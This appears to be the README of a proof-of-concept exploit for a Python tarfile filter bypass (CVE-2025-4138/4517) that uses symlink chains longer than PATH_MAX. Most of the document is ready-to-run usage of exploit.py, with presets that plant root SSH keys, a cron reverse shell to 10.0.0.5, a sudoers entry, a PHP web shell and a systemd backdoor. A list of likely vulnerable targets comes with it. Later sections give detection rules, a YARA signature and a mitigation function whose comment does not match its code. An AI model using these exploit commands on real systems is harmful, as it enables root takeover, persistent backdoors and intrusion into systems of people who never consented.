┌───────────────────────────────────────────┐
                    │         Malicious Tar Structure            │
                    └───────────────────────────────────────────┘

  Stage 1 ── Build symlink chain that inflates the resolved path past PATH_MAX

    ddd...ddd/              (directory, 247 chars)
    a  →  ddd...ddd         (symlink,   1 char name → 247 char dir)
    ddd...ddd/ddd...ddd/    (nested directory)
    b  →  ddd...ddd         (symlink)
    ...  ×16 levels

    Short path (symlinks):   a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p       ~31 chars
    Resolved path (dirs):    ddd…/ddd…/ddd…/ddd…/ddd…/ddd…/…      ~3968 chars
                                                               ↑ nearing PATH_MAX

  Stage 2 ── Final symlink exceeds PATH_MAX → realpath() stops resolving

    a/b/c/…/p/lll…lll  →  ../../../../../../../../../../../../../../../../..
                            (16 levels of ".." — traverses back to extraction root)

    ┌─────────────────────────────────────────────────────────────────┐
    │  os.path.realpath()  CANNOT expand this  →  filter says "OK" ✓ │
    │  Linux kernel         DOES follow chain  →  actually escapes ✗ │
    └─────────────────────────────────────────────────────────────────┘

  Stage 3 ── Escape symlink resolves to arbitrary filesystem path

    escape  →  <overflow_link>/../../../../../../../root

  Stage 4 ── Create intermediate directories through the escape

    escape/.ssh/            (directory, mode 0700 — created by tar extraction)

  Stage 5 ── Write payload through the escaped symlink

    escape/.ssh/authorized_keys  →  writes to /root/.ssh/authorized_keys  🔓

import tarfile

# VULNERABLE — filter="data" can be bypassed
with tarfile.open("untrusted_archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="data")

# ALSO VULNERABLE — filter="tar" has the same flaw
with tarfile.open("untrusted_archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="tar")

git clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC.git
cd CVE-2025-4138-4517-POC

# No dependencies — uses only Python standard library
python3 exploit.py --help

# 1. Generate an SSH key pair (REQUIRED — must exist before creating tar)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub   # verify key was created

# 2. Create the malicious tar archive
python3 exploit.py \
    --preset ssh-key \
    --payload ~/.ssh/id_ed25519.pub \
    --tar-out ./evil.tar

# 3. Deliver the tar and trigger privileged extraction
#    (method varies — backup script, upload endpoint, CI pipeline, etc.)
#    Example: sudo python3 vulnerable_app.py --extract evil.tar

# 4. SSH in as root (use the SAME key you generated in step 1)
ssh -i ~/.ssh/id_ed25519 root@target

# Reverse shell via cron (every minute)
python3 exploit.py --preset cron --extra 10.0.0.5 --tar-out evil.tar

# Passwordless sudo for user "john"
python3 exploit.py --preset sudoers --extra john --tar-out evil.tar

# SSH key with custom file mode
python3 exploit.py --preset ssh-key --payload ~/.ssh/id_rsa.pub \
    --mode 0600 --tar-out evil.tar

# Overwrite MOTD
python3 exploit.py \
    --target /etc/motd \
    --payload "Authorized access only." \
    --mode 0644 \
    --tar-out evil.tar

# Plant a web shell
python3 exploit.py \
    --target /var/www/html/shell.php \
    --payload '<?php system($_GET["cmd"]); ?>' \
    --mode 0644 \
    --tar-out evil.tar

# Overwrite a systemd service for persistence
python3 exploit.py \
    --target /etc/systemd/system/backdoor.service \
    --payload backdoor.service \
    --mode 0644 \
    --tar-out evil.tar

# 1. Create isolated test environment
mkdir -p /tmp/cve_test/flag /tmp/cve_test/extract
echo "original_content" > /tmp/cve_test/flag/testfile

# 2. Generate PoC tar targeting the test file
python3 exploit.py \
    --target /tmp/cve_test/flag/testfile \
    --payload "OVERWRITTEN_BY_CVE-2025-4138" \
    --tar-out /tmp/cve_test/poc.tar

# 3. Extract with filter="data" (simulating a vulnerable application)
python3 -c "
import tarfile
tarfile.open('/tmp/cve_test/poc.tar', 'r').extractall(
    '/tmp/cve_test/extract', filter='data'
)
"

# 4. Check result
cat /tmp/cve_test/flag/testfile
#   Vulnerable:  "OVERWRITTEN_BY_CVE-2025-4138"
#   Patched:     "original_content"  (extraction raises error)

# 5. Cleanup
rm -rf /tmp/cve_test

python3 -c "
import sys
v = sys.version_info
vuln = (
    (v.minor == 12 and v.micro <= 10) or
    (v.minor == 13 and v.micro <= 3) or
    (v.minor == 11 and 4 <= v.micro <= 12) or
    (v.minor == 10 and 12 <= v.micro <= 17) or
    (v.minor == 9 and 17 <= v.micro <= 22)
)
status = '❌ VULNERABLE' if vuln else '✅ Patched/Not affected'
print(f'Python {sys.version} — {status}')
"

os.path.realpath() behavior:

  Input:   /extract/a/b/c/.../p/llll.../../../../../root/.ssh
                                  │
                                  ├── resolved portion: /extract/ddd.../ddd.../...  (3968+ bytes)
                                  └── unresolved tail:  /../../../../root/.ssh
                                                        ↑ appended literally!

  Output:  /extract/ddd.../ddd.../ddd.../../../../../root/.ssh
           │                                                  │
           └── Starts with /extract/ → filter says "OK" ✓     │
                                                               └── But the ../ is real!

# Simplified from Lib/tarfile.py
def _check_linkname(member, dest_path):
    target = os.path.realpath(os.path.join(dest_path, member.linkname))
    if not target.startswith(dest_path):
        raise FilterError("link would escape destination")

┌────────────────────────────────────────────────────────────────────────┐
│                        EXPLOIT PIPELINE                                │
├────────────────────────────────────────────────────────────────────────┤
│                                                                        │
│  Stage 1: PATH_MAX Inflation                                           │
│  ┌─────────┐   ┌─────────┐        ┌─────────┐                          │
│  │ dir(247) │──▶│ sym a→d │──▶ ... │ sym p→d │  ×16 levels            │
│  └─────────┘   └─────────┘        └─────────┘                          │
│       Resolved path accumulates to ~3968 bytes                         │
│                                                                        │
│  Stage 2: Pivot Symlink (exceeds PATH_MAX)                             │
│  ┌──────────────────────────────────────────┐                          │
│  │ a/b/c/.../p/lll...lll → ../../... (×16)  │                          │
│  └──────────────────────────────────────────┘                          │
│       realpath() cannot resolve → filter is blind                      │
│                                                                        │
│  Stage 3: Escape Symlink                                               │
│  ┌──────────────────────────────────────────┐                          │
│  │ escape → <pivot>/../../../../<target_root>│                         │
│  └──────────────────────────────────────────┘                          │
│       Points to the target's top-level parent (e.g. /root)             │
│                                                                        │
│  Stage 4: Create Intermediate Directories                              │
│  ┌──────────────────────────────────────────┐                          │
│  │ escape/.ssh  (DIRTYPE, mode 0700)         │                         │
│  └──────────────────────────────────────────┘                          │
│       Ensures parent dirs exist (e.g. /root/.ssh) — critical           │
│       for targets where the parent directory may not exist             │
│                                                                        │
│  Stage 5: Payload Write                                                │
│  ┌──────────────────────────────────────────┐                          │
│  │ escape/.ssh/authorized_keys = payload     │                         │
│  └──────────────────────────────────────────┘                          │
│       File is written through the escaped symlink as the               │
│       process owner (typically root)                                   │
│                                                                        │
└────────────────────────────────────────────────────────────────────────┘

# /usr/local/bin/restore_backup.py (runs via sudo)
tar.extractall(path="/var/backups/restored", filter="data")

# Jenkins/GitLab runner extracting build output
tar.extractall(path=workspace_dir, filter="data")

# Flask/Django file processing endpoint
tar.extractall(path=upload_dir, filter="data")

# pip/setuptools extracting sdist
tar.extractall(path=build_dir, filter="data")

# Check for deeply nested symlink chains in extracted directories
find /path/to/extractions -maxdepth 20 -type l | \
    xargs -I{} readlink {} | grep -c "^d\{200,\}"

# Audit tar extraction operations in application logs
grep -r "extractall\|filter=\"data\"\|filter=\"tar\"" /var/log/

# Monitor for unexpected file writes in sensitive directories
auditctl -w /root/.ssh/ -p wa -k tarfile_escape
auditctl -w /etc/cron.d/ -p wa -k tarfile_escape
auditctl -w /etc/sudoers.d/ -p wa -k tarfile_escape

rule CVE_2025_4138_Malicious_Tar {
    meta:
        description = "Detects tar archives crafted for CVE-2025-4138 PATH_MAX bypass"
        cve = "CVE-2025-4138"
        severity = "critical"
    strings:
        $long_dir = /d{240,250}\// ascii
        $chain = /[a-p]\/[a-p]\/[a-p]\/[a-p]/ ascii
        $pad = /l{250,}/ ascii
        $traversal = "../../../" ascii
    condition:
        uint16(0) == 0x0000 and
        $long_dir and $chain and ($pad or #traversal > 8)
}

# Check current version
python3 -c "import sys; print(sys.version)"

# Upgrade to patched version:
#   3.9.23+  |  3.10.18+  |  3.11.13+  |  3.12.11+  |  3.13.4+

import pathlib
import tarfile

def safe_extract(tar_path: str, dest: str) -> None:
    """Extract tar archive with CVE-2025-4138 mitigation."""
    with tarfile.open(tar_path, "r") as tar:
        for member in tar.getmembers():
            # Block symlinks with traversal in link targets
            if member.linkname:
                parts = pathlib.PurePosixPath(member.linkname).parts
                if ".." in parts:
                    raise ValueError(
                        f"Blocked: '{member.name}' has traversal "
                        f"in linkname: '{member.linkname}'"
                    )
            # Block absolute symlink targets
            if member.issym() and member.linkname.startswith("/"):
                raise ValueError(
                    f"Blocked: '{member.name}' has absolute "
                    f"symlink target: '{member.linkname}'"
                )
        # Re-open to reset iterator
        tar.extractall(path=dest, filter="data")

# Extract in a minimal container or namespace
unshare --mount --map-root-user -- sh -c '
    mount -t tmpfs tmpfs /mnt
    python3 -c "
import tarfile
tarfile.open(\"archive.tar\", \"r\").extractall(\"/mnt/extract\", filter=\"data\")
    "
'

# Use GNU tar instead of Python tarfile
tar --no-same-permissions --no-same-owner -xf archive.tar -C /dest/